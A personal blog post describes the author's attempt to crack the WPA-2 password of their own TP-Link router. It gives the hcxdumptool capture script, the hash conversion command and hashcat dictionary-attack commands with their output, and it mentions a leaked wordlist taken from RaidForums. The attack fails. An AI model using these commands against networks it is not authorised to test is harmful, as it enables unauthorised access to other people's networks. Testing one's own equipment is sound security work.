Wifi Hacking

3 minute read

Everywhere online, i have heard that wifi was insecure.

Posts talking about WEP and WPA being insecure. WPA-2 being better but still flawed. I have decided to try and hack my own wifi router to see whether it really is insecure


I am using the tp-link archer VR600 v2 as my router with WPA-2 wifi encryption. I’ll be executing my attack from my Arch Linux Laptop

Hacking my own wifi

After looking around online, I’ve discovered the hashcat cracking wpawpa2 wiki article and I’ll be following along as a guide.

As I went along, I worked on a script for hacking my wifi to allow for easy re-execution

Disabling wifi and and enabling the wifi snooper

#!/usr/bin/env bash

# Disable wifi
sudo systemctl stop wpa_supplicant
# start monitor tool
sudo hcxdumptool -i wlan0 -o dumpfile.pcapng --active_beacon --enable_status=15
# Start wifi
sudo systemctl start wpa_supplicant

Enabling wifi and scanning for packets was quite simple. All you had to do, is install hcxdumptool and run the aforementioned commands. It took roughly 10-15 mins till a PMKIDor EAPOL MESSAGE packet was detected on the network

once the a packet has been found, you can extract the hash of your wpa2 wifi password.

# Convert traffic
hcxpcapngtool -o hash.hc22000 dumpfile.pcapng

The hash is a WPA-PBKDF2-PMKID+EAPOL according to the hashcat wiki.

This hash would be vunrable to a veriety of different attack methods:

  • Dictionary attack
  • Brute-Force attack
  • Rule-based attack

I will be attempting a dictionary attack as it would execute in the fastest time

hashcracking attempt 1

After installing hashcat and opencl in accordance with the arch wiki I started my first attempt with cracking the hash.

I downloaded a simple wordlist and attempted my first crack Unfortunatly, I immediately came across an error.

$ hashcat -m 22000 hash.hc22000 cracked.txt.gz

resulted in this error;
    CL_OUT_OF_HOST_MEMORY * Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl build failed.

After an hour of frantic googling online, i finally decided to restart my system and it immediately worked. 😬

$ hashcat
hashcat (v6.2.5) starting


Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1


Dictionary cache built:
* Filename..: ./cracked.txt.gz
* Passwords.: 368163
* Bytes.....: 3992189
* Keyspace..: 368163
* Runtime...: 0 secs

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hash.hc22000
Time.Started.....: Tue Jul 12 18:20:18 2022 (9 secs)
Time.Estimated...: Tue Jul 12 18:20:27 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (./cracked.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    42026 H/s (0.48ms) @ Accel:16 Loops:32 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 368163/368163 (100.00%)
Rejected.........: 0/368163 (0.00%)
Restore.Point....: 368163/368163 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: kunanesenanuk -> leprechaun6
Hardware.Mon.#1..: N/A


Sadly this basic dictionary attack has failed. We ran though every word in the wordlsit and not a single word matched our password hash. This suggests that a complicated password would be more secure than a simple password such as once which is on this relatively short wordlist.

hashcracking attempt 2

After the unsuccessful dictionary attack, i decided to get a bigger and better wordlist. I went with the rockyou2021.txt from kys234 on RaidForums. This is a massive overkill wordlist and after waiting hours for the download+decompressing.

Once finished, the wordlist was around 92GB and roughly 8 billion words long.

Rather than wait for a hashcat to go though the entire wordlist, i grep-ed the wordlist for my wifi password. After 3 mins, the command resulted in nothing. This seams to show that my wifi password is secure.


It seams to me that WPA-2 isnt actually as insecure as it would people online would lead you to believe. As long as you have a secure enough password, it shouldnt be a simple processs hacking into someones WPA-2 wifi network.

Of course, ive only explored one wifi hacking method so far and im aware there are plenty of other methods. 😄